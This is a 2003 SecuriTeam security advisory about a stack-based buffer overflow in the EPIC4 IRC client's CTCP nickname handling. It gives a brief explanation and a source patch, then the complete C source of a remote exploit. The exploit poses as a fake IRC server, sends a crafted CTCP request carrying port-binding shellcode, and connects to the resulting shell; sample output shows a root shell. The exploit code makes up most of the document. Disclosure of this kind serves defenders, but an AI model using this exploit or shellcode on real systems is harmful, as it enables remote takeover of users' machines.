

# [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0105.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/27/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Nov 2003 11:31:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

EPIC4 CTCP Nicknames Buffer Overflow

---

## SUMMARY

<<http://www.epicsol.org/>> EPIC4 remote exploit acts as an IRC server and makes use of a stack-based overflow in EPIC4 versions later than pre2.003. This exploit yields a shell with the privileges of the user id connecting into the serve.

## DETAILS

Vulnerable systems:

- \* EPIC4 versions later than pre2.003

Immune systems:

- \* EPIC4 versions prior and including pre2.002

If a rogue server sends us a CTCP request from an extremely large nickname (over about 512 bytes), epic may attempt to `alloca()` a negative value, which under gcc will return a invalid pointer, the contents of which will then be overwritten.

Patch:

\*\*\* source/ctcp.c.orig Fri May 9 17:42:20 2003

--- source/ctcp.c Fri May 9 17:42:37 2003

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
*****
*** 897,903 ***
    int len;

    /* Make sure that the final \001 doesnt get truncated */
! len = IRCD_BUFFER_SIZE - (12 + strlen(to));
    putbuf2 = alloca(len);

    if (format)
---- 897,904 ----
    int len;

    /* Make sure that the final \001 doesnt get truncated */
! if ((len = IRCD_BUFFER_SIZE - (12 + strlen(to))) < 0)
! return;
    putbuf2 = alloca(len);

    if (format)
```

### Exploit:

```
/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotely exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as
 * maximum data length to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer
written
 * at *putbuf2 address without any boundary checking, we can easily
execute
 * arbitrary code.
 *
 * This exploit works as a fake IRC server, waiting for connection and
then
 * trying to take advantage of the vulnerability by sending a specially
CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING
[RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to
be
 * really efficient.
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 * -p: wait for connection on port <PORT>
 * -t: choose the target among the platforms available
 * -f: use <FILE> datas as welcome message
 * -r: use <RET> as return address
 *
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
*
*$ ./epic4-exp -p 6667 -t 0 -v
*[+] Setting up a fake IRC server...
*[+] Awaiting connection on port 6667
*[*] Connection established with 127.0.0.1
*
*[127.0.0.1] USER request received.
*[127.0.0.1] NICK request received.
*[127.0.0.1] Fake replies sent.
*[127.0.0.1] Ping sent.
*[127.0.0.1] Looking up client version...
*[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no
limitations.
*[127.0.0.1] Welcome message sent.
*[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
*[127.0.0.1] Evil CTCP request sent.
*
*[+] Let's rock on!
*Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
*uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
```

```
#define D_BACK 26112
#define D_RET 0xbfffd06b
#define D_PORT 6667
```

```
#define HOSTNAME ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING "PING :571503427\r\n"
```

```
#define BUFFERSIZE 602
#define SIZE 1024
```

```
char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */
```

```
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);

unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;

struct os_ret_addr
{
    int num;
    char *plat;
    long ret;
};

struct os_ret_addr exp_os[]=
{
    {0,"slack 9.0",0xbfffd06b},
    {0,NULL,0}
};

int
main(int argc,char *argv[])
{
    int i, option, port = D_PORT;
    long host = 0;
    char * option_list = "f:p:r:t:v", buffer[SIZE+1];

    opterr = 0;
    memset(welcome,0,128);

    if (argc < 2) die(argv[0]);

    while((option = getopt(argc,argv,option_list)) != -1)
    switch(option)
    {
    case 'f':
        strncpy(welcome,optarg,sizeof(welcome)-1);
        welcome[sizeof(welcome)-1] = '\0';
        break;
    case 'p':
        port = atoi(optarg);
        if(port > 65535 || port < 0) exit(-1);
        break;
    case 'r':
        ret_addr = atol(optarg);
        if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
break;
case 't':
for(i=0; exp_os[i].plat != NULL; i++)
if(atoi(optarg) > i || atoi(optarg) < 0)
{
fprintf(stderr," Platforms supported are:\n");
for(i=0; exp_os[i].plat != NULL; i++)
fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
exit(0);
}
ret_addr = exp_os[atoi(optarg)].ret;
break;
case 'v':
check_version = 1;
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
die(argv[0]);
}

wait_connection(port,buffer);
return 0;
}

char
*build(char *host)
{
char *buffer,*ptr,*request,*ret;
int i;
unsigned long *addr_ptr;

fprintf(stdout,"[%s] Building evil string to send (using ret
\0x%x\')...\n",host,ret_addr);

buffer = (char *)malloc(BUFFERSIZE+1);
request = (char *)malloc(SIZE+1);
ret = (char *)malloc(256);

if(!buffer || !request || !ret)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}

ptr = buffer;
memset(ptr,0x90,BUFFERSIZE);
ptr += 500-strlen(shellcode);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
ptr += 102;
*ptr = 0x0;
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
ptr = ret;
addr_ptr = (long *)ptr;
for(i=0;i<151;i+=4)
*(addr_ptr++) = ret_addr;
ptr = (char *)addr_ptr;
*ptr = 0x0;

snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING
%s%c\r\n",buffer,0x01,ret,0x01);
return request;
}

int
back_connection(long host)
{
struct sockaddr_in s;
u_char sock_buf[4096];
fd_set fds;
int fd,size;
char *command="/bin/uname -a ; /usr/bin/id;\n";

fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}

s.sin_family = AF_INET;
s.sin_port = htons(D_BACK);
s.sin_addr.s_addr = host;

if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
close(fd);
exit(0);
}

fprintf(stdout, "\n[+] Let's rock on!\n");

size = send(fd, command, strlen(command), 0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
close(fd);
exit(0);
}

for (;;)
{
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(fd, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1)
{
    fprintf(stderr, "[-] %s\n", strerror(errno));
    close(fd);
    exit(0);
}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(fd, &fds))
{
    if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
    {
        fprintf(stderr, "[-] Connection closed by remote host, exiting...\n");
        close(fd);
        exit(0);
    }

    fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
    read(0, sock_buf, sizeof(sock_buf));
    write(fd, sock_buf, strlen(sock_buf));
}
}
return 0;
}

char *
build_welcome_mes(char *host, char *version)
{
    FILE *fd;
    char *buffer, *file_buffer;

    buffer = (char *)malloc(1024);
    file_buffer = (char *)malloc(512);

    if(!buffer)
    {
        fprintf(stderr, "[-] Can't allocate memory, exiting...\n");
        exit(0);
    }

    if(strlen(welcome) > 0)
    {
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
fd = fopen(welcome,"r");
if(fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
memset(buffer,0,1024);
while(1)
{
if(fgets(file_buffer,512,fd) == NULL) break;
strncat(buffer,file_buffer,1021);

}
fclose(fd);
strcat(buffer,"\r\n");
}else{
snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
": NOTICE AUTH :*** Your host is %s, running client %s\n"
": NOTICE AUTH :*** This server was created in the past\n"
": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
}
return buffer;
}

void
send_mes(int fd,char *host)
{
int size;
char buffer[1024],data[1024],request[512],version[512];
char *ptr;

size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);

size = send(fd,IDENT,strlen(IDENT),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);

size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
if(size < 0)
{
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);

fprintf(stdout,"[%s] Fake replies sent.\n",host);

size = send(fd,PING,strlen(PING),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}

fprintf(stdout,"[%s] Ping sent.\n",host);

size = read(fd,data,1024);
if(strstr(data,"PONG"))
{
if(check_version)
{
memset(version,0,512);
memset(request,0,512);

fprintf(stdout,"[%s] Looking up client version...\n",host);

sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);

size = send(fd,request,strlen(request),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
memset(data,0,1024);
while(1)
{
size = read(fd,data,1024);
if((ptr = strstr(data,"VERSION ")) != NULL)
{
memset(version,0,512);
strncpy(version,ptr+8,sizeof(version)-1);
version[sizeof(version)-1] = '\0';
fprintf(stdout,"[%s] Client version: %s",host,version);
sleep(3);
break;
}
}
}

strncpy(buffer,build_welcome_mes(host,version),1023);
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
buffer[1023] = '\0';
size = send(fd,buffer,1024);
fprintf(stdout,"%s] Welcome message sent.\n",host);
sleep(1);

memset(buffer,0,1024);
strncpy(buffer,build(host),1023);
buffer[1023] = '\0';
size = send(fd,buffer,1024);
sleep(1);

fprintf(stdout,"%s] Evil CTCP request sent.\n",host);
}

return;
}

void
wait_connection(int port,char *buffer)
{
struct sockaddr_in s;
int size, fd, fd2, r;
char data[1024], nick[512], user[512];
char *ptr;
long host = 0;

memset(data,0,1024);

fprintf(stdout,"[+] Setting up a fake IRC server...\n");

fd = socket(AF_INET,SOCK_STREAM,0);
if(fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}

s.sin_port = htons(port);
s.sin_addr.s_addr = 0;
s.sin_family = AF_INET;

bind(fd,(struct sockaddr *) &s,sizeof(s));
listen(fd,1);
size = sizeof(s);

fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

while(1)
{
fd2 = accept(fd,(struct sockaddr *) &s, &size);
fprintf(stdout,"[!] Connection established with
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
%s\n\n",inet_ntoa(s.sin_addr));

if(!fork())
{
close(fd);
while(1)
{
memset(data,0,1024);
r = read(fd2,data,1024);
if((ptr = strstr(data,"USER ")) != NULL)
{
memset(user,0,512);
strncpy(user,ptr+5,sizeof(user)-1);
user[sizeof(user)-1] = '\0';
fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));
}

if((ptr = strstr(data,"NICK ")) != NULL)
{
memset(nick,0,512);
strncpy(nick,ptr+5,sizeof(nick)-1);
nick[sizeof(nick)-1] = '\0';
fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));
}

if((strlen(nick) > 0) && (strlen(user) > 0)) break;
}
send_mes(fd2,inet_ntoa(s.sin_addr));
back_connection(host);
}
close(fd2);
}
return;
}

long resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}

return(addr.s_addr);
}
```

## Securiteam: [EXPL] EPIC4 CTCP Nicknames Buffer Overflow

```
void
die(char *argv)
{
    fprintf(stderr," remote exploit for EPIC4 < pre2.003 by
Li0n7@voila.fr\n");
    fprintf(stderr," vulnerability reported by Stuart Moore
<smoore@securityglobal.net>\n");
    fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r
RET][-v]\n",argv);
    fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
    fprintf(stderr,"\t -t: choose the target among the platforms
available\n");
    fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
    fprintf(stderr,"\t -r: use <RET> as return address\n\n");
    exit(0);
}

/* A poil! */
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:smoore@securityglobal.net>  
Stuart Moore, the exploit has been provided by <mailto:Li0n7@voila.fr>  
Li0n7.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.